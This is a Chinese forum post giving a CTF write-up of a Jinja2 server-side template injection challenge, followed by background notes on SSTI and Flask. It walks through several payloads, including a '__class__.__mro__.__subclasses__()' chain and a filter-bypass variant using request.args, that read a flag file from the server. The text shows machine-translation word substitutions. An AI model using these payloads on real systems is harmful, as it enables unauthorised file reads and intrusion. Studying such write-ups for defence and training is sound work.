ToB企服应用市场:ToB评测及商务社交产业平台

标题: 3.攻防天下 Confusion1(服务器模板注入SSTI) [打印本页]

作者: 风雨同行    时间: 前天 22:34
标题: 3.攻防天下 Confusion1(服务器模板注入SSTI)
标题描述如下

进入标题页面如下

图片是蟒蛇、大象?python、php?
猜测需要代码审计
点击

F12查看源码,有所提示flag

但是也没有其他信息了
猜测本题存在SSTI(服务器模板注入)毛病,为验证,构造payload
   /login.php/{   {1+2}}
  

页面返回3,输入的1+2执行了
所以服务器也执行了{  {}}里的内容,故存在SSTI毛病

SSTI(服务器模板注入)毛病

根本概念

在 Web 应用开发中,为实现动态页面的天生,常常会使用模板引擎。模板引擎将模板文件和动态数据相结合,天生最终的 HTML 页面返回给用户。而当应用步调在处置惩罚用户输入时,未对其进行严格的过滤和验证,直接将用户输入嵌入到模板中进行渲染,就可能导致服务器模板注入毛病
产生原因

在吸收用户输入时,没有对输入内容进行严格的检查和过滤,直接将其转达给模板引擎进行处置惩罚。在一个使用 Flask 框架的应用中,直接将用户输入的参数拼接到模板字符串中,没有做任何过滤,就可能引发 SSTI 毛病
模板引擎的设置不当也可能导致毛病。有些模板引擎在默认环境下可能答应执行某些危险的操作
攻击原理

通过构造特别的输入,让模板引擎将其剖析为恶意的模板指令并执行。不同的模板引擎有不同的语法,这就需要相识目的应用所使用的模板引擎,然后使用相应的语法进行攻击。
检测方法

手动测试:通过构造一些简单的测试用例,如数学表达式({   { 1+1 }})、函数调用等,观察页面的相应。如果页面返回了表达式的计算效果,那么很可能存在 SSTI 毛病。
工具:使用一些安全测试工具,如 Burp Suite、Nmap 等,这些工具可以资助快速发现潜伏的 SSTI 毛病。在 Burp Suite 的 Intruder 模块中,可以设置不同的有用负载对目的应用进行测试。

测试是Jinja2模板

Jinja2 是 Python 中常用的模板引擎
原理

Jinja2 答应在模板中使用 Python 表达式,我们可以使用其内置的对象和函数来实现文件读取
读取文件:使用 Python 的 open 函数来读取文件,构造payload如下
  1. http://61.147.171.105:56370/login.php/{
  2.   
  3.   { open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}
复制代码
传参,报错了,看来是有过滤

再次构造
使用 getattr 函数

getattr 函数可以动态获取对象的属性或方法
  1. http://61.147.171.105:56370/login.php/{
  2.   
  3.   { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}
复制代码

也过滤了qyq
试试逐字符拼接函数名
  1. http://61.147.171.105:56370/login.php/{
  2.   
  3.   { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}
复制代码
还是不可,再试试request函数
构造payload
  1. http://61.147.171.105:56370/login.php/{
  2.   
  3.   {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
复制代码
以一个空字符串 '' 作为起始对象,由于在 Python 中,所有对象都继续自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构
''.__class__:获取空字符串对象的类,即 str 类。
__mro__:是 Python 类的一个属性,它表示方法剖析顺序(Method Resolution Order),是一个包含类层次结构的元组。
[2]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表
__subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表
索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)大概 file 类(在 Python 2 中),这个类可以用于文件的读写操作
调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件
.read():调用打开文件对象的 read 方法,读取文件的全部内容

终于得到flag


Flask 框架

Flask 是一个轻量级的 Python Web 框架,也被称为 “微框架”,它为开发者提供了创建 Web 应用的根本工具和功能,易于上手和扩展
特点

重要组件

路由体系:Flask 使用装饰器来界说路由,答应开发者将 URL 路径映射到对应的视图函数。
哀求和相应:Flask 提供了request对象来处置惩罚客户端的哀求信息,如获取哀求参数、哀求方法等;使用Response对象来返反相应给客户端。
模板引擎:Flask 默认使用 Jinja2 模板引擎,答应开发者将动态数据与 HTML 模板结合天生动态页面。
应用场景


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4